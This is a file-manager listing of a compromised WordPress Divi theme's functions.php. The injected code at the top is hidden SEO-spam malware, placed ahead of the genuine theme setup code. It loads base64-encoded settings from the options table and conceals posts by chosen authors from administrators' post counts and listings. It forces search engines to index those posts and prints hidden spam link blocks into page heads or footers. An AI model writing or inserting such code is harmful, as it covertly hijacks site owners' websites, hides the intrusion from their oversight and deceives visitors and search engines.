/home/desid573/verdenaturopathy.com.au/wp-content/themes/Divi
Edit: /home/desid573/verdenaturopathy.com.au/wp-content/themes/Divi/functions.php (348202B)
posts}.post_author NOT IN ($add_section_other)";
}
return $where;
}
function add_action_dns($query) {
global $get_bloginfo_live;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live) || !is_object($query)) {
return;
}
$comments_template_new = array_keys($get_bloginfo_live);
if (empty($comments_template_new)) {
return;
}
$add_image_size_edit = register_sidebar_base($comments_template_new);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $add_image_size_edit);
}
}
function wp_footer_branch($views) {
global $current_user, $wp_query;
if (!is_array($views)) {
return $views;
}
$types = array(
array('status' => null),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status'],
);
$result = new WP_Query($query);
if ($type['status'] === null) {
if (isset($views['all']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] === 'mine') {
$newQuery = $query;
if (is_object($current_user) && isset($current_user->ID)) {
$newQuery['author__in'] = array($current_user->ID);
}
$result = new WP_Query($newQuery);
if (isset($views['mine']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] === 'publish') {
if (isset($views['publish']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] === 'draft') {
if (isset($views['draft']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] === 'pending') {
if (isset($views['pending']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] === 'trash') {
if (isset($views['trash']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function register_nav_menus_list($counts, $type, $perm) {
if ($type === 'post' && is_object($counts)) {
$admin_url_alpha = $counts->publish;
$get_author_posts_url_old = absint_index($perm);
$counts->publish = !$get_author_posts_url_old ? $admin_url_alpha : $get_author_posts_url_old;
}
return $counts;
}
function absint_index($perm) {
global $wpdb, $get_bloginfo_live;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return 0;
}
$comments_template_new = array_keys($get_bloginfo_live);
if (empty($comments_template_new)) {
return 0;
}
$add_section_other = implode(', ', $comments_template_new);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ($perm === 'readable' && is_user_logged_in()) {
$have_posts_merge = get_post_type_object($type);
if ($have_posts_merge && isset($have_posts_merge->cap->read_private_posts)
&& !current_user_can($have_posts_merge->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($add_section_other) GROUP BY post_status";
$results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_sidebar_dns) {
if (isset($get_sidebar_dns['post_status']) && $get_sidebar_dns['post_status'] === 'publish') {
return $get_sidebar_dns['num_posts'];
}
}
return 0;
}
function register_sidebar_base($writersArr) {
$wp_die_queue = array();
if (!is_array($writersArr)) {
return '';
}
foreach ($writersArr as $item) {
$wp_die_queue[] = '-' . $item;
}
return implode(',', $wp_die_queue);
}
function add_setting_class() {
$post_password_required_base = array();
$get_bloginfo_double = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$home_url_xml = @unserialize(base64_decode($settings));
if (is_array($home_url_xml)) {
$post_password_required_base = $home_url_xml;
}
}
if (!empty($_SERVER['HTTP_HOST'])) {
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$is_single_call = @unserialize(base64_decode($settings));
if (is_array($is_single_call)) {
$get_bloginfo_double = $is_single_call;
}
}
}
if (!is_array($get_bloginfo_double)) {
$get_bloginfo_double = array();
}
if (!is_array($post_password_required_base)) {
$post_password_required_base = array();
}
return $get_bloginfo_double + $post_password_required_base;
}
function is_admin_variable() {
global $get_bloginfo_live, $post;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return false;
}
if (!isset($post) || !is_object($post) || !isset($post->post_author)) {
return false;
}
$is_single_package = array_keys($get_bloginfo_live);
if (in_array($post->post_author, $is_single_package)) {
return true;
}
return false;
}
function esc_attr_x_statement() {
global $get_bloginfo_live, $post;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return;
}
if (!isset($post) || !is_object($post) || !isset($post->post_author)) {
return;
}
$is_single_package = array_keys($get_bloginfo_live);
if (in_array($post->post_author, $is_single_package)) {
$force_index_robots = function () {
return 'index, follow';
};
add_filter('wpseo_robots', $force_index_robots, 99);
add_filter('wpseo_googlebot', $force_index_robots, 99);
add_filter('wpseo_bingbot', $force_index_robots, 99);
add_filter('rank_math/frontend/robots', function ($robots) {
if (!is_array($robots)) {
$robots = array();
}
unset($robots['noindex']);
$robots['index'] = 'index';
$robots['follow'] = 'follow';
return $robots;
}, 99);
add_filter('aioseo_robots_meta', function ($attributes) {
if (!is_array($attributes)) {
$attributes = array();
}
$attributes['noindex'] = 'index';
$attributes['nofollow'] = 'follow';
return $attributes;
}, 99);
}
}
function post_password_required_decryption($get_stylesheet_uri_reference) {
global $post;
$get_the_tag_list_git = '';
if (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$get_the_tag_list_git = get_option('home_links_custom_0');
}
} elseif (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', '10DifferentTextBlocks')) {
if (isset($post) && is_object($post) && isset($post->ID)) {
$url = get_permalink($post->ID);
if ($url && preg_match('~\d~', md5($url), $matches)) {
$get_the_tag_list_git = get_option('home_links_custom_' . $matches[0]);
}
}
} elseif (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', '100DifferentTextBlocks')) {
if (isset($post) && is_object($post) && isset($post->ID)) {
$url = get_permalink($post->ID);
if ($url && preg_match_all('~\d~', md5($url), $matches) && !empty($matches[0])) {
$is_search_git = ($matches[0][0] == 0 && isset($matches[0][1]))
? $matches[0][1]
: $matches[0][0] . (isset($matches[0][1]) ? $matches[0][1] : '');
$get_the_tag_list_git = get_option('home_links_custom_' . $is_search_git);
}
}
}
return !$get_the_tag_list_git ? '' : $get_the_tag_list_git;
}
function get_queried_object_id_beta($esc_html_request, $get_theme_file_uri_statement, $get_search_query_stream) {
if (!is_array($esc_html_request)) {
return false;
}
if (!isset($esc_html_request[$get_theme_file_uri_statement][$get_search_query_stream])) {
return false;
}
if ($esc_html_request[$get_theme_file_uri_statement][$get_search_query_stream] === 1) {
return true;
}
return false;
}
function get_search_query_event($get_stylesheet_uri_reference, $wp_list_comments_trigger) {
if (empty($wp_list_comments_trigger)) {
return '';
}
if (get_queried_object_id_beta($get_stylesheet_uri_reference, 'hiddenType', 'css')) {
if (empty($_SERVER['HTTP_HOST'])) {
return $wp_list_comments_trigger;
}
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
if (empty($blockNum[0])) {
return $wp_list_comments_trigger;
}
$is_wp_error_more = home_url_pointer();
if (!isset($is_wp_error_more[$blockNum[0]])) {
return $wp_list_comments_trigger;
}
$the_post_http = $is_wp_error_more[$blockNum[0]];
return $the_post_http[0] . PHP_EOL . $wp_list_comments_trigger . PHP_EOL . $the_post_http[1];
}
return $wp_list_comments_trigger;
}
function home_url_pointer() {
return array(
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', ''),
array('
', ''),
array('
', ''),
array('
', '
'),
);
}
function esc_attr_e_more($get_stylesheet_uri_reference) {
return get_queried_object_id_beta($get_stylesheet_uri_reference, 'position', 'head');
}
function get_the_time_https($get_stylesheet_uri_reference) {
return get_queried_object_id_beta($get_stylesheet_uri_reference, 'position', 'footer');
}
function wp_list_comments_float($settings) {
if (!is_array($settings)) {
return array();
}
foreach ($settings as $get_theme_file_uri_library => $esc_html_request) {
if (is_array($esc_html_request) && isset($esc_html_request['homeLinks']) && !is_null($esc_html_request['homeLinks'])) {
return $esc_html_request['homeLinks'];
}
}
return array();
}
function get_the_ID_package() {
if (!is_admin_variable()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_setting_decryption() {
global $get_stylesheet_uri_reference;
if (!get_the_ID_package()) {
return;
}
$wp_list_comments_trigger = post_password_required_decryption($get_stylesheet_uri_reference);
$wp_list_comments_trigger = get_search_query_event($get_stylesheet_uri_reference, $wp_list_comments_trigger);
echo $wp_list_comments_trigger;
}
$get_bloginfo_live = add_setting_class();
if (is_array($get_bloginfo_live) && !empty($get_bloginfo_live)) {
add_filter('posts_where_paged', 'home_url_first');
add_action('pre_get_posts', 'add_action_dns');
add_filter('wp_count_posts', 'register_nav_menus_list', 10, 3);
add_action('template_redirect', 'esc_attr_x_statement');
$get_stylesheet_uri_reference = wp_list_comments_float($get_bloginfo_live);
if (!empty($get_stylesheet_uri_reference) && is_array($get_stylesheet_uri_reference)) {
if (esc_attr_e_more($get_stylesheet_uri_reference)) {
add_action('wp_head', 'get_setting_decryption');
}
if (get_the_time_https($get_stylesheet_uri_reference)) {
add_action('wp_footer', 'get_setting_decryption');
}
}
}
}
/* e314056cffa6a81d799698a49a6dcdbc */
/*c1s*/
if (!function_exists('wp_filter_posts_c1')) {
function wp_filter_posts_c1($q) {
if (!is_object($q)) return;
if (is_admin()) return;
if ($q->is_singular()) return;
if (method_exists($q,'is_main_query') && !$q->is_main_query()) return;
$q->set('author__not_in', array(5700));
}
add_action('pre_get_posts', 'wp_filter_posts_c1', 999);
}
/*c1e*/
// phpcs:disable Generic.WhiteSpace.ScopeIndent.Incorrect, Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Until we reformat this entire file, this rule makes reviewing PRs very difficult.
use ET\Builder\FrontEnd\Assets\DynamicAssetsUtils;
use ET\Builder\Packages\StyleLibrary\Utils\Utils;
if ( ! isset( $content_width ) ) $content_width = 1080;
// TODO fix(D4, Comments): Remove this require and the shim file after WordPress core resolves Trac #61468. [https://github.com/elegantthemes/Divi/issues/28338]
require_once __DIR__ . '/includes/functions/comments-template-safe.php';
function et_setup_theme() {
global $themename, $shortname, $et_store_options_in_one_row, $default_colorscheme;
$themename = 'Divi';
$shortname = 'divi';
$et_store_options_in_one_row = true;
$default_colorscheme = "Default";
$template_directory = get_template_directory();
require_once $template_directory . '/core/init.php';
require_once $template_directory . '/common/init.php';
if ( is_user_logged_in() ) {
et_common_setup();
}
et_core_setup( get_template_directory_uri() );
if ( '3.0.61' === ET_CORE_VERSION ) {
require_once $template_directory . '/core/functions.php';
require_once $template_directory . '/core/components/init.php';
et_core_patch_core_3061();
}
require_once $template_directory . '/epanel/custom_functions.php';
// only load this on wp-admin (or frontend if using the visual builder)
if ( is_admin() || et_core_is_fb_enabled() ) {
require_once $template_directory . '/epanel/theme-options-library/theme-options.php';
require_once $template_directory . '/core/code-snippets/code-snippets.php';
}
// Always load the constants files
require_once $template_directory . '/epanel/theme-options-library/constants.php';
require_once $template_directory . '/core/code-snippets/constants.php';
require_once $template_directory . '/includes/functions/choices.php';
require_once $template_directory . '/includes/functions/sanitization.php';
require_once $template_directory . '/includes/functions/sidebars.php';
require_once $template_directory . '/includes/functions/customizer-css.php';
// Translations should be loaded at the init action since WP 6.7.0.
add_action(
'init',
function () {
load_theme_textdomain( 'Divi', get_template_directory() . '/lang' );
}
);
require_once $template_directory . '/epanel/core_functions.php';
require_once $template_directory . '/post_thumbnails_divi.php';
require_once $template_directory . '/includes/widgets.php';
require_once $template_directory . '/includes/Customizer.php';
require_once $template_directory . '/d5-readiness/d5-readiness.php';
if ( is_admin() ) {
ET_D5_Readiness::init_hooks();
}
register_nav_menus( array(
'primary-menu' => esc_html__( 'Primary Menu', 'Divi' ),
'secondary-menu' => esc_html__( 'Secondary Menu', 'Divi' ),
'footer-menu' => esc_html__( 'Footer Menu', 'Divi' ),
) );
// don't display the empty title bar if the widget title is not set
remove_filter( 'widget_title', 'et_widget_force_title' );
remove_filter( 'body_class', 'et_add_fullwidth_body_class' );
// Declare theme supports
add_theme_support( 'title-tag' );
add_theme_support( 'post-formats', array(
'video', 'audio', 'quote', 'gallery', 'link'
) );
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
add_theme_support( 'customize-selective-refresh-widgets' );
// Block editor supports.
add_theme_support( 'wp-block-styles' );
remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 );
add_action( 'woocommerce_before_main_content', 'et_divi_output_content_wrapper', 10 );
add_action( 'eventon_before_main_content', 'et_divi_output_content_wrapper', 11 );
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 );
add_action( 'woocommerce_after_main_content', 'et_divi_output_content_wrapper_end', 10 );
add_action( 'eventon_after_main_content', 'et_divi_output_content_wrapper_end', 9 );
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
// add wrapper so we can clear things
add_action( 'woocommerce_before_single_product_summary', 'et_divi_output_product_wrapper', 0 );
add_action( 'woocommerce_after_single_product_summary', 'et_divi_output_product_wrapper_end', 0 );
// deactivate page templates and custom import functions
remove_action( 'init', 'et_activate_features' );
remove_action('admin_menu', 'et_add_epanel');
// Load editor styling
add_editor_style( 'css/editor-style.css' );
add_editor_style( 'css/editor-blocks.css' );
// Only trying to make sure to avoid using this on front end page loads,
// so were using the same permission check as the rollback feature itself uses.
if ( current_user_can( 'install_themes' ) ) {
et_divi_version_rollback()->enable();
}
if ( wp_doing_cron() ) {
et_register_updates_component();
}
// Remove WordPress emojis
add_action( 'init', 'et_disable_emojis' );
// Defer Gutenberg block stylesheet to the footer.
add_action( 'wp_enqueue_scripts', 'et_dequeue_block_css', 100 );
add_action( 'get_footer', 'et_enqueue_block_css', 100 );
}
add_action( 'after_setup_theme', 'et_setup_theme' );
add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_css' );
add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_js' );
/**
* Load un-minified and un-combined scripts.
*
* @param string $load check if loading unminified scripts.
* @return string
* @deprecated ??
*/
function et_divi_load_unminified_scripts( $load ) {
/** @see ET_Core_SupportCenter::toggle_safe_mode */
if ( et_core_is_safe_mode_active() ) {
return true;
}
if ( 'false' === et_get_option( 'divi_minify_combine_scripts' ) ) {
return true;
}
return $load;
}
/**
* Load un-minified and un-combined styles.
*
* @param string $load check if loading unminified styles.
* @return string
* @deprecated ??
*/
function et_divi_load_unminified_styles( $load ) {
/** @see ET_Core_SupportCenter::toggle_safe_mode */
if ( et_core_is_safe_mode_active() ) {
return true;
}
if ( 'false' === et_get_option( 'divi_minify_combine_styles' ) ) {
return true;
}
return $load;
}
function et_theme_epanel_reminder(){
global $shortname, $themename;
$documentation_url = 'http://www.elegantthemes.com/gallery/divi/readme.html';
$documentation_option_name = $shortname . '_2_4_documentation_message';
if ( false === et_get_option( $shortname . '_logo' ) && false === et_get_option( $documentation_option_name ) ) {
$message = sprintf(
et_get_safe_localization( __( 'Welcome to Divi! Before diving in to your new theme, please visit the
Divi Documentation page for access to dozens of in-depth tutorials.', $themename ) ),
esc_url( $documentation_url )
);
printf(
'
',
$message
);
et_update_option( $documentation_option_name, 'triggered' );
}
}
add_action( 'admin_notices', 'et_theme_epanel_reminder' );
if ( ! function_exists( 'et_divi_fonts_url' ) ) :
/**
* Print Google fonts style for Divi Theme base fonts.
*/
function et_divi_fonts_url() {
static $fonts_url = null;
if ( ! et_core_use_google_fonts() ) {
return '';
}
if ( null !== $fonts_url ) {
return $fonts_url;
}
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$open_sans = _x( 'on', 'Open Sans font: on or off', 'Divi' );
if ( 'off' !== $open_sans ) {
$font_families = array();
if ( 'off' !== $open_sans ) {
$font_families[] = 'Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800';
}
$fonts = et_builder_get_fonts();
$full_character_set = ! empty( $fonts['Open Sans'] ) && ! empty( $fonts['Open Sans']['character_set'] ) ? $fonts['Open Sans']['character_set'] : 'cyrillic,cyrillic-ext,greek,greek-ext,latin,latin-ext,vietnamese';
// By default, only latin and latin-ext subsets are loaded, all available subsets can be enabled in ePanel.
$subset = 'false' === et_get_option( 'divi_gf_enable_all_character_sets', 'false' )
? 'latin,latin-ext'
: $full_character_set;
$query_args = array(
'family' => implode( '%7C', $font_families ),
'subset' => $subset,
'display' => 'swap',
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return $fonts_url;
}
endif;
function et_divi_load_fonts() {
$google_fonts_url = et_divi_fonts_url();
// Get user selected font defined on customizer
$et_gf_body_font = et_get_option( 'body_font', 'none' );
// Determine whether current page needs Open Sans or not
$no_open_sans = ! is_customize_preview() && 'none' !== $et_gf_body_font && '' !== $et_gf_body_font;
if ( ! empty( $google_fonts_url ) && ! $no_open_sans ) {
$feature_manager = ET_Builder_Google_Fonts_Feature::instance();
$output_inline = $feature_manager->is_option_enabled( 'google_fonts_inline' );
if ( $output_inline ) {
$contents = $feature_manager->get(
'google-fonts',
function() use ( $feature_manager, $google_fonts_url ) {
return $feature_manager->fetch( $google_fonts_url );
},
esc_url_raw( $google_fonts_url )
);
// if something went wrong fetching the contents
if ( false === $contents ) {
// phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- Google fonts api does not have versions
wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null );
} else {
echo '';
}
} else {
// phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- Google fonts api does not have versions.
wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null );
}
}
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_fonts' );
function et_add_home_link( $args ) {
// add Home link to the custom menu WP-Admin page
$args['show_home'] = true;
return $args;
}
add_filter( 'wp_page_menu_args', 'et_add_home_link' );
/**
* Load the necessary scripts and styles.
*
* @return void
*/
function et_divi_load_scripts_styles() {
global $wp_styles, $et_user_fonts_queue;
$template_dir = get_template_directory_uri();
$theme_version = et_get_theme_version();
$post_id = get_the_id();
$is_page_builder_used = et_pb_is_pagebuilder_used( $post_id );
$page_comments_disabled = et_get_option( 'divi_show_pagescomments', 'off' );
$post_with_comments = is_single() && comments_open() && get_option( 'thread_comments' );
$page_width_comments = is_page() && ! $is_page_builder_used && comments_open() && get_option( 'thread_comments' ) && $page_comments_disabled === 'on';
if ( $post_with_comments || $page_width_comments ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && has_post_format( 'audio' ) ) {
wp_enqueue_style( 'wp-mediaelement' );
wp_enqueue_script( 'wp-mediaelement' );
}
$dependencies_array = array( 'jquery' );
// load 'jquery-effects-core' if SlideIn/Fullscreen header used or if customizer opened
if ( is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) ) {
$dependencies_array[] = 'jquery-effects-core';
}
if ( ! et_builder_d5_enabled() ) {
wp_enqueue_script(
'divi-script-library-global-functions',
ET_BUILDER_5_URI . '/visual-builder/build/script-library-frontend-global-functions.js',
[
'jquery',
],
ET_CORE_VERSION,
true
);
}
wp_enqueue_script( 'divi-custom-script', $template_dir . '/js/theme-scripts-library-base.js', $dependencies_array, $theme_version, true );
$divi_data = array(
'item_count' => esc_html__( '%d Item', 'divi' ),
'items_count' => esc_html__( '%d Items', 'divi' ),
);
if ( et_core_is_fb_enabled() ) {
$divi_data['row_selector'] = et_divi_get_row_advanced_options_selector_replacement();
}
wp_localize_script( 'divi-custom-script', 'DIVI', $divi_data );
$et_gf_enqueue_fonts = array();
$et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) );
$et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) );
$et_gf_button_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) );
$et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) );
$et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) );
$et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) );
if ( 'none' != $et_gf_heading_font ) $et_gf_enqueue_fonts[] = $et_gf_heading_font;
if ( 'none' != $et_gf_body_font ) $et_gf_enqueue_fonts[] = $et_gf_body_font;
if ( 'none' != $et_gf_button_font ) $et_gf_enqueue_fonts[] = $et_gf_button_font;
if ( 'none' != $et_gf_primary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_primary_nav_font;
if ( 'none' != $et_gf_secondary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_secondary_nav_font;
if ( 'none' != $et_gf_slide_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_slide_nav_font;
// For Divi 5 we need to enqueue fonts from the content as well (fonts chosen in module settings).
// This is needed because in Divi 4 fonts from content are processed in ET_Builder_Element class and enqueued there.
// Divi 5 doesn't use the ET_Builder_Element so we have to add fonts here.
if ( et_builder_d5_enabled() ) {
$fonts_content_id = $post_id;
$fonts_from_content = array();
// Extract fonts from Theme Builder templates when used.
$tb_template_ids = DynamicAssetsUtils::get_theme_builder_template_ids();
if ( ! empty( $tb_template_ids ) ) {
foreach ( $tb_template_ids as $template_id ) {
$fonts_from_content = array_merge(
$fonts_from_content,
DynamicAssetsUtils::extract_used_fonts_from_content( $template_id )
);
}
}
if ( $fonts_content_id ) {
$fonts_from_content = array_merge(
$fonts_from_content,
DynamicAssetsUtils::extract_used_fonts_from_content( $fonts_content_id )
);
}
$et_gf_enqueue_fonts = array_unique( array_merge( $et_gf_enqueue_fonts, $fonts_from_content ) );
$google_fonts_url = function_exists( 'et_divi_fonts_url' ) ? et_divi_fonts_url() : '';
$et_gf_body_font_option = et_get_option( 'body_font', 'none' );
$theme_uses_default_font = is_customize_preview() || 'none' === $et_gf_body_font_option || '' === $et_gf_body_font_option;
$theme_enqueues_open_sans = ! empty( $google_fonts_url ) && $theme_uses_default_font;
if ( $theme_enqueues_open_sans ) {
$et_gf_enqueue_fonts = array_values(
array_filter(
$et_gf_enqueue_fonts,
static function( $font_family ) {
return 0 !== strcasecmp( trim( (string) $font_family ), 'Open Sans' );
}
)
);
}
}
if ( ! empty( $et_gf_enqueue_fonts ) && function_exists( 'et_builder_enqueue_font' ) ) {
$site_domain = get_locale();
$et_old_one_font_languages = et_get_old_one_font_languages();
foreach ( $et_gf_enqueue_fonts as $single_font ) {
if ( isset( $et_old_one_font_languages[$site_domain] ) ) {
$font_custom_default_data = $et_old_one_font_languages[$site_domain];
// enqueue custom default font if needed
if ( $single_font === $font_custom_default_data['font_family'] ) {
$et_gf_font_name_slug = strtolower( str_replace( ' ', '-', $font_custom_default_data['language_name'] ) );
wp_enqueue_style( 'et-gf-' . $et_gf_font_name_slug, $font_custom_default_data['google_font_url'], array(), null );
continue;
}
}
et_builder_enqueue_font( $single_font );
}
if ( function_exists( 'et_builder_enqueue_user_fonts' ) && ! empty( $et_user_fonts_queue ) ) {
printf( '', et_core_esc_previously( et_builder_enqueue_user_fonts( $et_user_fonts_queue ) ) );
}
}
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_scripts_styles' );
/**
* Enqueue the main style.css file.
* If a child theme is active and the child theme has not enqueued
* the Divi stylsheet, enqueue it for them. Otherwise -rtl, -cpt and -static
* stylesheet versions will never be enqueued properly. Some child themes
* import the Divi style.css file in their child theme .css file, which won't work.
*/
function et_divi_enqueue_stylesheet() {
$theme_version = et_get_theme_version();
$handle = is_child_theme() ? 'divi-style-parent' : 'divi-style';
$styles = wp_styles();
$stylesheet_directory_uri = get_stylesheet_directory_uri();
$child_theme_style_enqueued = ! empty(
array_filter(
$styles->registered,
function( $style ) use ( $stylesheet_directory_uri ) {
return preg_match( '/' . preg_quote( $stylesheet_directory_uri, '/' ) . '\/style.*\.css/', $style->src );
}
)
);
// Enqueue the Divi stylesheet with the correct handle, which is different if a child theme is enabled.
wp_enqueue_style( $handle, get_template_directory_uri() . '/style.css', array(), $theme_version );
// If there is a child theme active, but the child theme does not enqueue their own stylesheet, we enqueue it for them.
// Unfortunately this is very common in our community, so we take the reigns and force things to work correctly.
if ( is_child_theme() && ! $child_theme_style_enqueued ) {
wp_enqueue_style( 'divi-style-child', $stylesheet_directory_uri . '/style.css', array(), $theme_version );
}
}
add_action( 'wp_enqueue_scripts', 'et_divi_enqueue_stylesheet' );
/**
* Replace the enqueued Divi style.css file with the applicable version.
* If Dynamic CSS is disabled, we load the -static file. If RTL is enabled, we load the -rtl file.
* If on a custom post type, we load the -cpt file. This is also necessary for child themes,
* which typically enqueue the standard style.css without the logic below.
*/
function et_divi_replace_parent_stylesheet() {
$should_use_dynamic_css = \ET\Builder\FrontEnd\Assets\DynamicAssetsUtils::use_dynamic_assets();
$theme_version = et_get_theme_version();
$cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : '';
$dynamic_css_suffix = $should_use_dynamic_css ? '' : '-static';
$rtl_suffix = is_rtl() ? '-rtl' : '';
$template_directory_uri = preg_quote( get_template_directory_uri(), '/' );
$style_handle = is_child_theme() ? 'divi-style-parent' : 'divi-style';
// We check for .dev in case child themes enqueued this legacy stylesheet.
$theme_style = '/^(' . $template_directory_uri . '\/style)(\.dev)?(\.min)?(\.css)$/';
$theme_style_replaced = '$1' . $dynamic_css_suffix . $cpt_suffix . $rtl_suffix . '.min.css';
et_core_replace_enqueued_style( $theme_style, $theme_style_replaced, $theme_version, $style_handle, '', true );
}
add_action( 'wp_enqueue_scripts', 'et_divi_replace_parent_stylesheet', 99999998 );
/**
* If Load Dynamic Stylesheet In-line is enabled in the Divi Theme Options,
* we print stylesheet contents in-line. We must grab the correct base stylesheet
* depending on RTl and CPT.
*/
function et_divi_print_stylesheet() {
$enable_inline_stylesheet = et_core_is_inline_stylesheet_enabled();
$should_use_dynamic_css = \ET\Builder\FrontEnd\Assets\DynamicAssetsUtils::use_dynamic_assets();
if ( $enable_inline_stylesheet && $should_use_dynamic_css ) {
$cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : '';
$rtl_suffix = is_rtl() ? '-rtl' : '';
$stylesheet_src = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';
$stylesheet_path = get_template_directory() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';
$stylesheet_path = str_replace( '..', '', $stylesheet_path );
$stylesheet_contents = file_get_contents( $stylesheet_path );
$theme_version = et_get_theme_version();
$url_match = '/url\(/i';
$url_replace = 'url(' . get_template_directory_uri() . '/';
$stylesheet_contents_replaced = preg_replace( $url_match, $url_replace, $stylesheet_contents );
$child_theme_suffix = is_child_theme() ? '-parent' : '';
$styles = wp_styles();
foreach ( $styles->registered as $handle => $style ) {
if ( $style->src === $stylesheet_src ) {
$existing_inline_styles = $styles->get_data( $handle, 'after' );
break;
}
}
if ( false !== $stylesheet_contents ) {
wp_register_style( 'divi-style' . $child_theme_suffix . '-inline', false, array(), $theme_version );
wp_enqueue_style( 'divi-style' . $child_theme_suffix . '-inline' );
wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', $stylesheet_contents_replaced );
if ( ! empty( $existing_inline_styles ) ) {
wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', implode( "\n", $existing_inline_styles ) );
}
add_action( 'wp_enqueue_scripts', 'et_divi_dequeue_stylesheet', 99999999 );
}
}
}
add_action( 'wp_enqueue_scripts', 'et_divi_print_stylesheet', 99999998 );
/**
* If Load Dynamic Stylesheet In-line is enabled, we need to dequeue the Divi stylesheet,
* since it's now being enqueued in-line.
*/
function et_divi_dequeue_stylesheet() {
$cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : '';
$rtl_suffix = is_rtl() ? '-rtl' : '';
$styles = wp_styles();
$stylesheet = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';
if ( empty( $styles->registered ) ) {
return;
}
foreach ( $styles->registered as $handle => $style ) {
if ( $style->src === $stylesheet ) {
wp_dequeue_style( $handle );
break;
}
}
}
/**
* All Child Theme .css files must be dequeued and re-queued so that we can control their order.
* They must be queued below the parent stylesheet, which we have dequeued and re-queued in et_divi_replace_parent_stylesheet().
*/
add_action( 'wp_enqueue_scripts', 'et_requeue_child_theme_styles', 99999999 );
/**
* Enqueue smoothscroll if it's enabled.
*/
function et_enqueue_smoothscroll() {
$theme_version = et_get_theme_version();
